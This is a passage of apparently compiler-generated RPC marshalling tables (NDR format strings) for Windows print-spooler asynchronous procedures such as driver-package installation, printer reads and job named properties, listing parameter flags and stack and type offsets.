*/\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 3886 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3888 */\tNdrFcShort( 0xc90 ),\t/* Type Offset=3216 */\n\n\t/* Return value */\n\n/* 3890 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3892 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3894 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncInstallPrinterDriverFromPackage */\n\n/* 3896 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3898 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3902 */\tNdrFcShort( 0x3e ),\t/* 62 */\n/* 3904 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3906 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3908 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3910 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3912 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3914 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 3916 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3918 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3920 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3922 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3924 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pszServer */\n\n/* 3926 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3928 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3930 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pszInfPath */\n\n/* 3932 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3934 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3936 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pszDriverName */\n\n/* 3938 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3940 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3942 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pszEnvironment */\n\n/* 3944 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3946 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3948 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter dwFlags */\n\n/* 3950 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3952 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3954 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 3956 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3958 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3960 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncUploadPrinterDriverPackage */\n\n/* 3962 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3964 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3968 */\tNdrFcShort( 0x3f ),\t/* 63 */\n/* 3970 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 3972 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3974 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3976 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 3978 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 3980 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 3982 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 3984 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3986 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3988 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3990 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pszServer */\n\n/* 3992 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3994 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3996 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pszInfPath */\n\n/* 3998 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4000 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4002 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pszEnvironment */\n\n/* 4004 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4006 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4008 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter dwFlags */\n\n/* 4010 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4012 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4014 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pszDestInfPath */\n\n/* 4016 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 4018 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4020 */\tNdrFcShort( 0xc98 ),\t/* Type Offset=3224 */\n\n\t/* Parameter pcchDestInfPath */\n\n/* 4022 */\tNdrFcShort( 0x158 ),\t/* Flags:  in, out, base type, simple ref, */\n/* 4024 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4026 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 4028 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4030 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 4032 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetCorePrinterDrivers */\n\n/* 4034 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4036 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4040 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 4042 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 4044 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 4046 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4048 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 4050 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4052 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 4054 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 4056 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4058 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4060 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4062 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pszServer */\n\n/* 4064 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4066 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4068 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pszEnvironment */\n\n/* 4070 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4072 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4074 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter cchCoreDrivers */\n\n/* 4076 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4078 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4080 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pszzCoreDriverDependencies */\n\n/* 4082 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4084 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4086 */\tNdrFcShort( 0xcb6 ),\t/* Type Offset=3254 */\n\n\t/* Parameter cCorePrinterDrivers */\n\n/* 4088 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4090 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4092 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pCorePrinterDrivers */\n\n/* 4094 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 4096 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4098 */\tNdrFcShort( 0xcfa ),\t/* Type Offset=3322 */\n\n\t/* Return value */\n\n/* 4100 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4102 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 4104 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncCorePrinterDriverInstalled */\n\n/* 4106 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4108 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4112 */\tNdrFcShort( 0x41 ),\t/* 65 */\n/* 4114 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 4116 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 4118 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4120 */\tNdrFcShort( 0x6c ),\t/* 108 */\n/* 4122 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 4124 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 4126 */\t0xa,\t\t/* 10 */\n\t\t\t0xc1,\t\t/* Ext Flags:  new corr desc, has range on conformance has big byval param */\n/* 4128 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4130 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4132 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4134 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pszServer */\n\n/* 4136 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4138 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4140 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pszEnvironment */\n\n/* 4142 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4144 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4146 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter CoreDriverGUID */\n\n/* 4148 */\tNdrFcShort( 0x10a ),\t/* Flags:  must free, in, simple ref, */\n/* 4150 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4152 */\tNdrFcShort( 0xcd6 ),\t/* Type Offset=3286 */\n\n\t/* Parameter ftDriverDate */\n\n/* 4154 */\tNdrFcShort( 0x8a ),\t/* Flags:  must free, in, by val, */\n/* 4156 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4158 */\tNdrFcShort( 0x55a ),\t/* Type Offset=1370 */\n\n\t/* Parameter dwlDriverVersion */\n\n/* 4160 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4162 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4164 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pbDriverInstalled */\n\n/* 4166 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4168 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4170 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 4172 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4174 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 4176 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetPrinterDriverPackagePath */\n\n/* 4178 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4180 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4184 */\tNdrFcShort( 0x42 ),\t/* 66 */\n/* 4186 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 4188 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 4190 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4192 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4194 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 4196 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 4198 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 4200 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4202 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4204 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4206 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pszServer */\n\n/* 4208 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4210 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4212 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pszEnvironment */\n\n/* 4214 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4216 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4218 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pszLanguage */\n\n/* 4220 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4222 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4224 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pszPackageID */\n\n/* 4226 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4228 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4230 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pszDriverPackageCab */\n\n/* 4232 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 4234 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4236 */\tNdrFcShort( 0xd28 ),\t/* Type Offset=3368 */\n\n\t/* Parameter cchDriverPackageCab */\n\n/* 4238 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4240 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4242 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcchRequiredSize */\n\n/* 4244 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4246 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 4248 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 4250 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4252 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 4254 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeletePrinterDriverPackage */\n\n/* 4256 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4258 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4262 */\tNdrFcShort( 0x43 ),\t/* 67 */\n/* 4264 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4266 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 4268 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4270 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4272 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4274 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 4276 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4278 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4280 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4282 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4284 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pszServer */\n\n/* 4286 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4288 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4290 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pszInfPath */\n\n/* 4292 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4294 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4296 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pszEnvironment */\n\n/* 4298 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4300 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4302 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 4304 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4306 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4308 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncReadPrinter */\n\n/* 4310 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4312 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4316 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 4318 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4320 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4322 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4324 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4326 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 4328 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 4330 */\t0x45,\t\t/* Oi2 Flags:  srv must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 4332 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 4334 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4336 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4338 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4340 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4342 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4344 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4346 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pBuf */\n\n/* 4348 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 4350 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4352 */\tNdrFcShort( 0x502 ),\t/* Type Offset=1282 */\n\n\t/* Parameter cbBuf */\n\n/* 4354 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4356 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4358 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcNoBytesRead */\n\n/* 4360 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4362 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4364 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 4366 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4368 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4370 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncResetPrinter */\n\n/* 4372 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4374 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4378 */\tNdrFcShort( 0x45 ),\t/* 69 */\n/* 4380 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4382 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4384 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4386 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4388 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 4390 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4392 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 4394 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 4396 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4398 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4400 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4402 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4404 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4406 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4408 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pDatatype */\n\n/* 4410 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4412 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4414 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 4416 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4418 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4420 */\tNdrFcShort( 0x28 ),\t/* Type Offset=40 */\n\n\t/* Return value */\n\n/* 4422 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4424 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4426 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetJobNamedPropertyValue */\n\n/* 4428 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4430 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4434 */\tNdrFcShort( 0x46 ),\t/* 70 */\n/* 4436 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4438 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4440 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4442 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4444 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 4446 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4448 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 4450 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 4452 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4454 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4456 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4458 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4460 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4462 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4464 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter JobId */\n\n/* 4466 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4468 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4470 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pszName */\n\n/* 4472 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4474 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4476 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pValue */\n\n/* 4478 */\tNdrFcShort( 0x6113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=24 */\n/* 4480 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4482 */\tNdrFcShort( 0xd8e ),\t/* Type Offset=3470 */\n\n\t/* Return value */\n\n/* 4484 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4486 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4488 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncSetJobNamedProperty */\n\n/* 4490 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4492 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4496 */\tNdrFcShort( 0x47 ),\t/* 71 */\n/* 4498 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4500 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4502 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4504 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4506 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 4508 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4510 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 4512 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance 